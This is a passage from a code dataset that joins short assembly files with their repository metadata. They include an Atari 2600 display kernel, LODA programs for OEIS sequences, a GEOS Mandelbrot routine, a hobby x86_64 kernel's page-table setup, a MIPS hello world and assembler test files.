sta GRP1 ;3 28
lda (scale0),Y ;6 34
sta NUSIZ1 ;3 37
lda (tessfo0),Y ;5 42
sta HMP1 ;3 45
dec p1Counter ;5 50
ldy p0Counter ;3 53
lda (offset0),Y ;5 58
sta HMP0 ;3 61
dec p0Counter ;5 66
dey ;2 68
bne doPlayer01 ;2 70/71
; end do Player01 Loop
lda #0 ;2 17
sta GRP0
sta GRP1
; end do Player01 Kernel
ldx #192 - 23 ;2 28
picture sta WSYNC ;3 3
dex
bne picture
overscan
ldx #30
doOverscan sta WSYNC ; wait a scanline
dex
bne doOverscan
jmp newFrame
;-----------------------------------------------------------------------------------
ORG $FF00
byte $0,$0,$0,$5,$5,$5,$5,$5,$5,$7,$7,$5,$5,$7,$5,$5,$5,$0,$0,$0,$0,$0,$0,$0; 24
byte $0,$0,$f0,$f0,$f0,$0,$0,$0,$0,$c0,$10,$40,$0,$10,$20,$20,$f0,$e0,$50,$10,$0,$10,$f0,$0; 24
byte $0,$cc,$c1,$8c,$ee,$c6,$ee,$fe,$fe,$f8,$f8,$ff,$ff,$f8,$ef,$ec,$e4,$cf,$f0,$e0,$f0,$c0,$90,$90; 24
byte $0,$e0,$f0,$f0,$0,$0,$0,$f0,$0,$f0,$f0,$f0,$0,$d0,$0,$0,$10,$20,$50,$0,$f0,$10,$f0,$0; 24
byte $0,$7,$7,$7,$7,$5,$5,$5,$5,$7,$5,$5,$5,$5,$5,$5,$5,$5,$0,$0,$0,$0,$0,$0; 24
byte $0,$0,$10,$10,$0,$10,$0,$10,$10,$b0,$10,$20,$20,$10,$20,$20,$d0,$20,$30,$10,$0,$10,$f0,$0; 24
byte $0,$88,$88,$98,$d8,$e3,$ff,$ff,$fe,$f8,$ff,$ff,$ff,$ff,$ef,$ee,$b3,$e4,$f0,$e0,$f0,$c0,$90,$90; 24
byte $0,$0,$0,$0,$40,$e0,$d0,$0,$10,$30,$f0,$f0,$0,$d0,$0,$0,$10,$20,$50,$0,$f0,$10,$f0,$0; 24
;-----------------------------------------------------------------------------------
; the CPU reset vectors
ORG $FFFA
.word Reset ; NMI
.word Reset ; RESET
.word Reset ; IRQ
END |
||||
TheStack | 162aef856a2d311a1c1455cd5d2da598f0b25fea | Assemblycode:Assembly | {"size": 425, "ext": "asm", "max_stars_repo_path": "oeis/243/A243019.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/243/A243019.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/243/A243019.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 25.0, "max_line_length": 173, "alphanum_fraction": 0.6611764706} | ; A243019: Expansion of -(2*x*sqrt(1-8*x^2)-2*x) / (16*x^3+sqrt(1-8*x^2)*(4*x^2+2*x-1)-8*x^2-2*x+1).
; Submitted by Jamie Morken(s3)
; 1,1,5,7,33,51,233,379,1697,2851,12585,21627,94449,165075,714873,1266027,5445441,9746883,41687369,75275227,320420753,582881971,2471008281,4523575371,19108837601,35174066851
mov $3,$0
div $0,2
lpb $0
mov $2,$3
bin $2,$0
sub $0,1
add $2,$1
add $1,$2
lpe
mov $0,$1
mul $0,2
add $0,1
|
||||
TheStack | ed3886bb9e56d7619eb099e2c35de93b668f08ef | Assemblycode:Assembly | {"size": 446, "ext": "asm", "max_stars_repo_path": "oeis/054/A054149.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/054/A054149.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/054/A054149.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 34.3076923077, "max_line_length": 188, "alphanum_fraction": 0.730941704} | ; A054149: T(2n-1,n), array T as in A054144.
; Submitted by Christian Krause
; 1,14,84,410,1820,7648,31008,122584,475600,1818656,6874560,25742624,95645888,353032960,1295729664,4732541824,17211685120,62362187264,225201546240,810825419264,2911520685056,10429433085952
mov $2,$0
mul $0,3
seq $2,20727 ; Pisot sequence P(2,7): a(0)=2, a(1)=7, thereafter a(n+1) is the nearest integer to a(n)^2/a(n-1).
mul $0,$2
add $0,$2
sub $0,1
div $0,2
add $0,1
|
||||
TheStack | 321912d15179c868d00320786d64988862b8763a | Assemblycode:Assembly | {"size": 640, "ext": "asm", "max_stars_repo_path": "programs/oeis/098/A098231.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/098/A098231.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/098/A098231.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 91.4285714286, "max_line_length": 527, "alphanum_fraction": 0.875} | ; A098231: 2^p - 11 for p prime.
; -7,-3,21,117,2037,8181,131061,524277,8388597,536870901,2147483637,137438953461,2199023255541,8796093022197,140737488355317,9007199254740981,576460752303423477,2305843009213693941,147573952589676412917,2361183241434822606837,9444732965739290427381,604462909807314587353077,9671406556917033397649397,618970019642690137449562101,158456325028528675187087900661,2535301200456458802993406410741,10141204801825835211973625642997,162259276829213363391578010288117,649037107316853453566312041152501,10384593717069655257060992658440181
seq $0,40 ; The prime numbers.
seq $0,79 ; Powers of 2: a(n) = 2^n.
sub $0,11
|
||||
TheStack | 613710f374fa6747154b9108cb36dc4e42b71d05 | Assemblycode:Assembly | {"size": 1389, "ext": "asm", "max_stars_repo_path": "testsuite/ubivm/output/method_with_result_7.asm", "max_stars_repo_name": "alexgarzao/UOP", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "testsuite/ubivm/output/method_with_result_7.asm", "max_issues_repo_name": "alexgarzao/UOP", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "testsuite/ubivm/output/method_with_result_7.asm", "max_forks_repo_name": "alexgarzao/UOP", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 26.7115384615, "max_line_length": 41, "alphanum_fraction": 0.4499640029} | .constant_pool
.const 0 string [start]
.const 1 string [constructor]
.const 2 string [soma]
.const 3 string [subtracao]
.const 4 int [2]
.const 5 int [10]
.const 6 string [operations]
.const 7 string [soma : ]
.const 8 string [io.writeln]
.const 9 string [subtracao: ]
.const 10 string [par1]
.const 11 string [par2]
.end
.entity start
.valid_context_when (always)
.method constructor
.var 0 int soma
.var 1 int subtracao
ldconst 4 --> [2]
ldconst 5 --> [10]
ldself
mcall 6 --> [operations]
stvar 0 --> [soma]
stvar 1 --> [subtracao]
ldconst 7 --> [soma : ]
ldvar 0 --> [soma]
ldconst 4 --> [2]
lcall 8 --> [io.writeln]
ldconst 9 --> [subtracao: ]
ldvar 1 --> [subtracao]
ldconst 4 --> [2]
lcall 8 --> [io.writeln]
exit
.end
.method operations
.param 0 int par1
.param 1 int par2
.result 0 int
.result 1 int
ldparam 0 --> [par1]
ldparam 1 --> [par2]
add
stresult 0
ldparam 0 --> [par1]
ldparam 1 --> [par2]
sub
stresult 1
ret
.end
.end
|
||||
TheStack | be7018bcfd339cf1d1f45a6b4bedc60c8cf167aa | Assemblycode:Assembly | {"size": 7286, "ext": "asm", "max_stars_repo_path": "Library/SDK_C/MSet/AsmCalc/acLine.asm", "max_stars_repo_name": "steakknife/pcgeos", "max_stars_repo_stars_event_min_datetime": "2018-11-18T03:35:53.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-29T01:02:51.000Z", "max_issues_repo_path": "Library/SDK_C/MSet/AsmCalc/acLine.asm", "max_issues_repo_name": "steakknife/pcgeos", "max_issues_repo_issues_event_min_datetime": "2018-11-19T21:06:50.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-06T10:26:48.000Z", "max_forks_repo_path": "Library/SDK_C/MSet/AsmCalc/acLine.asm", "max_forks_repo_name": "steakknife/pcgeos", "max_forks_repo_forks_event_min_datetime": "2018-11-19T20:46:53.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T00:59:26.000Z"} | {"max_stars_count": 504, "max_issues_count": 96, "max_forks_count": 73, "avg_line_length": 26.4945454545, "max_line_length": 79, "alphanum_fraction": 0.6210540763} | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1990, 1993 -- All Rights Reserved
PROJECT: PC SDK
MODULE: Sample Library -- Mandelbrot Set Library
FILE: calcLineBasedAlg.asm
AUTHOR: Paul DuBois, Aug 10, 1993
ROUTINES:
Name Description
---- -----------
GLB MSSetupCalcVectors Copy in calculation vectors
GLB MSLINEBASEDDOLINE C stub for MSLineBasedDoLine
GLB MSLineBasedDoLine Assembly routine to calculate one line
REVISION HISTORY:
Name Date Description
---- ---- -----------
dubois 8/20/93 Updated for SDK
Doug 5/16/90 Initial revision
DESCRIPTION:
An algorithm to generate all points in Mandelbrot space requested.
This one's simple -- just one line at a time.
$Id: acLine.asm,v 1.1 97/04/07 10:43:56 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CalcThreadResource segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MSSetupCalcVectors
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
C FUNCTION: MSSetupCalcVectors
C DECLARATION: extern void
_far _pascal MSSetupCalcVectors(
MSetCalcParameters _far* mscpP,
MSetPrecision precision);
SYNOPSIS: Set up the MSCP_*Vec fields based on precision
CALLED BY: GLOBAL
RETURN: void
DESTROYED: nothing
SIDE EFFECTS: Alters MSCP_*Vec
PSEUDO CODE/STRATEGY:
We assume that *mscpP is paragraph aligned, and furthermore starts at
a 0 offset. This is a safe assumption, since it should be pointing
to the beginning of a MemLocked block, which should always have the
correct alignment. This assumption is critical for the operation of
the calculation routines, which access the fields directly off a
segment register.
REVISION HISTORY:
Name Date Description
---- ---- -----------
dubois 8/21/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetGeosConvention ;sets the calling conventions
MSSETUPCALCVECTORS proc far mscpP:fptr,
prec:MSetPrecision
uses ax,ds,si
.enter
lds si, mscpP
EC< tst si >
EC< ERROR_NZ ERROR_PARAMS_NOT_AT_OFFSET_ZERO >
;
; Set up vectors to reflect parameters of operation
;
cmp prec, MSP_16BIT
je set16BitMath
;set48BitMath:
mov ax, offset FP48CalcPoint
mov ds:[MSCP_calcPointVec], ax
mov ax, offset FP48Copy
mov ds:[MSCP_copyVec], ax
mov ax, offset FP48Add
mov ds:[MSCP_addVec], ax
mov ax, offset FP48Sub
mov ds:[MSCP_subVec], ax
jmp afterMathSet
set16BitMath:
mov ax, offset FP16CalcPoint
mov ds:[MSCP_calcPointVec], ax
mov ax, offset FP16Copy
mov ds:[MSCP_copyVec], ax
mov ax, offset FP16Add
mov ds:[MSCP_addVec], ax
mov ax, offset FP16Sub
mov ds:[MSCP_subVec], ax
afterMathSet:
.leave
ret
MSSETUPCALCVECTORS endp
SetDefaultConvention ;restores calling conventions to defaults
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MSLINEBASEDDOLINE
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
C FUNCTION: MSLineBasedDoLine
C DECLARATION: extern MSetCalcReturnFlags
_far _pascal MSLineBasedDoLine(
word lineNum,
_far MSetCalcParameters* mscpP,
_far word* dataP);
PSEUDO CODE/STRATEGY:
We assume that *mscpP is paragraph aligned, and starts at offset 0.
This is a safe assumption, since it should be pointing to the
beginning of a MemLocked block, which should always have the correct
alignment.
REVISION HISTORY:
Name Date Description
---- ---- -----------
dubois 8/18/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetGeosConvention ;sets the calling conventions
MSLINEBASEDDOLINE proc far lineNum:word,
mscpP:fptr,
dataP:fptr
uses dx,si,ds,es
.enter
mov dx, lineNum
lds si, mscpP
EC< tst si >
EC< ERROR_NZ ERROR_PARAMS_NOT_AT_OFFSET_ZERO >
les si, dataP
call MSLineBasedDoLine
;al is already set
.leave
ret
MSLINEBASEDDOLINE endp
SetDefaultConvention ;restores calling conventions to defaults
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MSLineBasedDoLine
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Performs calculations for 1 line of data
CALLED BY: GLOBAL
PASS: ds:0 = pointing to an MSetParameters block
es:si = pointing to where the calculated points should
be put
dx = y line in document to do
RETURN: al = MSetCalcReturnFlags
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
BUGS/FIXES:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 12/88 Initial version
dubois 8/20/93 Modified for SDK
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MSLineBasedDoLine proc near
retval local MSetCalcReturnFlagsAsm
uses bx,cx,dx,si,di,bp
.enter
clr retval
clr cx ; X doc position of 0
;
; Set up A and B. A should be just MSCP_left, since we're starting
; at the beginning of a line. Calculate B by subtracting MSCP_vRes
; repeatedly to MSCP_top.
;
push si ; save offset
push dx
mov si, offset MSCP_left ; start A at left value
mov di, offset MSCP_vars.MN_A
call ds:[MSCP_copyVec]
mov si, offset MSCP_top ; start B at top value
mov di, offset MSCP_vars.MN_B
call ds:[MSCP_copyVec]
pop dx
mov cx, dx
tst cx
je startLine
calculateB:
push cx
mov si, offset MSCP_vars.MN_B
mov bx, offset MSCP_vRes
mov di, offset MSCP_vars.MN_B
call ds:[MSCP_subVec] ; could trash: ax
;use sub because y mset coordinate should
;decrease as y screen coordinate increases
pop cx
loop calculateB
;
; For each point on this line, if the stored value is zero (the
; point has not been calculated yet), calculate the point.
; Continue to the next point unless there are messages waiting or
; the line is finished.
;
startLine:
pop si ; get offset
mov cx, ds:[MSCP_pixelWidth] ; count for line
EC< tst cx >
EC< ERROR_Z ERROR_PIXEL_WIDTH_ZERO >
doOnePoint:
push cx ; save points-left count
mov ax, es:[si] ; get current value
tst ax ; if calculated, use
jnz pointDone ; else calculate
ornf retval, mask MSCRF_BLOCK_DIRTIED
push si
call ds:[MSCP_calcPointVec] ; call point calculation routine
;could trash: bx,cx,dx,si,di,bp
pop si
mov es:[si], ax ; store result
pointDone:
; Move (A,B) over to next point
push si
mov si, offset MSCP_vars.MN_A
mov bx, offset MSCP_hRes
mov di, offset MSCP_vars.MN_A
call ds:[MSCP_addVec]
pop si
add si, 2 ; adjust data pointer
pop cx ; restore points-left count
clr bx ; get info on current thread
call GeodeInfoQueue ; see if a message is waiting
tst ax ; ax = # events in queue
jnz gotMessage ; abort if non-zero
loop doOnePoint
done:
mov al, retval
.leave
ret
gotMessage:
ornf retval, mask MSCRF_MESSAGE_WAITING
jmp done
MSLineBasedDoLine endp
CalcThreadResource ends
|
||||
TheStack | 4b3bb7bc7f9c70063af05dc6492cc9a5116e0dad | Assemblycode:Assembly | {"size": 4372, "ext": "asm", "max_stars_repo_path": "kernel/vmm.asm", "max_stars_repo_name": "iocoder/upcr", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "kernel/vmm.asm", "max_issues_repo_name": "iocoder/upcr", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "kernel/vmm.asm", "max_forks_repo_name": "iocoder/upcr", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 42.862745098, "max_line_length": 81, "alphanum_fraction": 0.3655077768} | ;###############################################################################
;# FILE NAME: KERNEL/VMM.ASM
;# DESCRIPTION: KERNEL VIRTUAL MEMORY MODULE
;# AUTHOR: RAMSES A.
;###############################################################################
;#
;# UPCR OPERATING SYSTEM FOR X86_64 ARCHITECTURE
;# COPYRIGHT (C) 2021 RAMSES A.
;#
;# PERMISSION IS HEREBY GRANTED, FREE OF CHARGE, TO ANY PERSON OBTAINING A COPY
;# OF THIS SOFTWARE AND ASSOCIATED DOCUMENTATION FILES (THE "SOFTWARE"), TO DEAL
;# IN THE SOFTWARE WITHOUT RESTRICTION, INCLUDING WITHOUT LIMITATION THE RIGHTS
;# TO USE, COPY, MODIFY, MERGE, PUBLISH, DISTRIBUTE, SUBLICENSE, AND/OR SELL
;# COPIES OF THE SOFTWARE, AND TO PERMIT PERSONS TO WHOM THE SOFTWARE IS
;# FURNISHED TO DO SO, SUBJECT TO THE FOLLOWING CONDITIONS:
;#
;# THE ABOVE COPYRIGHT NOTICE AND THIS PERMISSION NOTICE SHALL BE INCLUDED IN ALL
;# COPIES OR SUBSTANTIAL PORTIONS OF THE SOFTWARE.
;#
;###############################################################################
;#
;# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
;# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
;# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
;# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
;# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
;# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
;# SOFTWARE.
;#
;###############################################################################
;###############################################################################
;# INCLUDES #
;###############################################################################
;# common definitions used by kernel
INCLUDE "kernel/macro.inc"
;###############################################################################
;# GLOBALS #
;###############################################################################
;# global symbols
PUBLIC KVMMINIT
;###############################################################################
;# TEXT SECTION #
;###############################################################################
;# text section
SEGMENT ".text"
;#-----------------------------------------------------------------------------#
;# KVMMINIT() #
;#-----------------------------------------------------------------------------#
KVMMINIT: ;# print init msg
LEA RDI, [RIP+KVMMNAME]
CALL KCONMOD
LEA RDI, [RIP+KVMMMSG]
CALL KCONSTR
MOV RDI, '\n'
CALL KCONCHR
;# INITIALIZE L3 IDENTITY TABLE
MOV RCX, 0x00000083
MOV RDI, MEM_IDN_PTABLE
1: MOV [RDI], RCX
ADD RCX, 0x40000000
ADD RDI, 8
CMP RDI, MEM_IDN_PTABLE+0x1000
JNE 1b
;# INITIALIZE L4 ROOT TABLES
MOV RDI, MEM_CPU_PTABLES
MOV RCX, MEM_IDN_PTABLE
OR RCX, 0x00000003
MOV [RDI], RCX
;# load CR3 with PML4 table base
MOV RAX, MEM_CPU_PTABLES
MOV CR3, RAX
;# done
XOR RAX, RAX
RET
;###############################################################################
;# DATA SECTION #
;###############################################################################
;# data section
SEGMENT ".data"
;#-----------------------------------------------------------------------------#
;# LOGGING STRINGS #
;#-----------------------------------------------------------------------------#
;# VMM heading and ascii strings
KVMMNAME: DB "KERNEL VMM\0"
KVMMMSG: DB "INITIALIZING VIRTUAL MEMORY MANAGER...\0"
|
||||
TheStack | f655fb5595a8ce1ece1391f629b54a5cc9356caf | Assemblycode:Assembly | {"size": 198, "ext": "asm", "max_stars_repo_path": "programs/oeis/161/A161770.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/161/A161770.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/161/A161770.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 19.8, "max_line_length": 96, "alphanum_fraction": 0.7373737374} | ; A161770: n 1's followed by three 0's.
; 1000,11000,111000,1111000,11111000,111111000,1111111000,11111111000,111111111000,1111111111000
add $0,1
mov $1,10
pow $1,$0
div $1,9
mul $1,1000
mov $0,$1
|
||||
TheStack | 310cd3c7f657fe3fa63f801d3f335ac66165cd5b | Assemblycode:Assembly | {"size": 664, "ext": "asm", "max_stars_repo_path": "oeis/027/A027138.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/027/A027138.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/027/A027138.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 51.0769230769, "max_line_length": 496, "alphanum_fraction": 0.828313253} | ; A027138: a(n) = Sum_{k=0..2n} (k+1) * A027113(n, 2n-k).
; Submitted by Christian Krause
; 1,7,26,85,264,803,2422,7281,21860,65599,196818,590477,1771456,5314395,15943214,47829673,143489052,430467191,1291401610,3874204869,11622614648,34867843987,104603532006,313810596065,941431788244,2824295364783,8472886094402,25418658283261,76255974849840,228767924549579,686303773648798,2058911320946457,6176733962839436,18530201888518375,55590605665555194,166771816996665653,500315450989997032,1500946352969991171,4502839058909973590,13508517176729920849,40525551530189762628,121576654590569287967
add $0,1
mov $1,3
pow $1,$0
mul $1,10
div $1,9
sub $1,$0
mov $0,$1
sub $0,1
|
||||
TheStack | 6b7cc1bfd0b1d2591d43257999950ae0246dc509 | Assemblycode:Assembly | {"size": 117, "ext": "asm", "max_stars_repo_path": "yasm-1.3.0/modules/preprocs/tasm/tests/tasm-assume-comment.asm", "max_stars_repo_name": "xu5343/ffmpegtoolkit_CentOS7", "max_stars_repo_stars_event_min_datetime": "2020-04-18T07:31:17.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T08:39:18.000Z", "max_issues_repo_path": "src/third_party/yasm/source/patched-yasm/modules/preprocs/tasm/tests/tasm-assume-comment.asm", "max_issues_repo_name": "wclmgcd/naiveproxy", "max_issues_repo_issues_event_min_datetime": "2020-04-18T08:22:18.000Z", "max_issues_repo_issues_event_max_datetime": "2021-12-08T13:04:49.000Z", "max_forks_repo_path": "src/third_party/yasm/source/patched-yasm/modules/preprocs/tasm/tests/tasm-assume-comment.asm", "max_forks_repo_name": "wclmgcd/naiveproxy", "max_forks_repo_forks_event_min_datetime": "2020-04-18T08:03:10.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T12:33:22.000Z"} | {"max_stars_count": 2151, "max_issues_count": 395, "max_forks_count": 338, "avg_line_length": 29.25, "max_line_length": 55, "alphanum_fraction": 0.7435897436} | assume cs:code,ds:code,es:code ; tiny model (CS=DS=ES)
assume ds:code,es:code; close comment
assume fs:code,gs:code
|
||||
TheStack | f56c1f900c528331c82e13e1f20b1dcf24bc4965 | Assemblycode:Assembly | {"size": 417, "ext": "asm", "max_stars_repo_path": "samplecode/hello.asm", "max_stars_repo_name": "adamedx/jabba", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "samplecode/hello.asm", "max_issues_repo_name": "adamedx/jabba", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "samplecode/hello.asm", "max_forks_repo_name": "adamedx/jabba", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 18.9545454545, "max_line_length": 48, "alphanum_fraction": 0.618705036} | .globl main
.data
hello: .asciiz "Hello, world"
endl: .asciiz "\n"
.text
main:
#
# println("Hello, world");
#
li $v0,4 # system call code for PRINT_STR
la $a0,hello # get address of string to print
syscall # print string
li $v0,4 # system call code for PRINT_STR
la $a0,endl # get address of NEWLINE string
syscall # print string
#
# finally, RETURN
#
jr $ra # return
|
||||
TheStack | cc49326784f8e6a007e7dfbe32dbea17407830c7 | Assemblycode:Assembly | {"size": 218, "ext": "asm", "max_stars_repo_path": "Tejas-Simulator/PIN/pin-2.14/source/tools/ToolUnitTests/analysis_flag_overwrite_app_win.asm", "max_stars_repo_name": "markoshorro/tejas_knl", "max_stars_repo_stars_event_min_datetime": "2021-07-10T13:22:26.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-09T20:11:39.000Z", "max_issues_repo_path": "pin_kit/source/tools/ToolUnitTests/analysis_flag_overwrite_app_win.asm", "max_issues_repo_name": "sawansib/SNIPER", "max_issues_repo_issues_event_min_datetime": "2021-08-18T14:07:24.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-24T16:38:06.000Z", "max_forks_repo_path": "pin_kit/source/tools/ToolUnitTests/analysis_flag_overwrite_app_win.asm", "max_forks_repo_name": "sawansib/SNIPER", "max_forks_repo_forks_event_min_datetime": "2016-07-01T02:21:06.000Z", "max_forks_repo_forks_event_max_datetime": "2020-11-23T08:29:22.000Z"} | {"max_stars_count": 17, "max_issues_count": 4, "max_forks_count": 11, "avg_line_length": 10.9, "max_line_length": 34, "alphanum_fraction": 0.623853211} | PUBLIC main_asm
.686
.model flat, c
extern addcVal:word
.code
main_asm PROC
mov eax,-1
mov edx,0
add eax,1
adc edx,0
lea ecx,addcVal
mov DWORD PTR [ecx], edx
ret
main_asm ENDP
end |
||||
TheStack | f1ff1e1d56ffee632cedfbfbfffeacbac21d871b | Assemblycode:Assembly | {"size": 147, "ext": "asm", "max_stars_repo_path": "other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/ドイツ_PAL/Ger_asm1/zel_gover.asm", "max_stars_repo_name": "prismotizm/gigaleak", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/ドイツ_PAL/Ger_asm1/zel_gover.asm", "max_issues_repo_name": "prismotizm/gigaleak", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/ドイツ_PAL/Ger_asm1/zel_gover.asm", "max_forks_repo_name": "prismotizm/gigaleak", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 21.0, "max_line_length": 47, "alphanum_fraction": 0.8163265306} | Name: zel_gover.asm
Type: file
Size: 21936
Last-Modified: '2016-05-13T04:23:03Z'
SHA-1: 28AF9AEFE1F5A5C6AF01F88B7A23F3FFBA3C3FF7
Description: null
|
||||
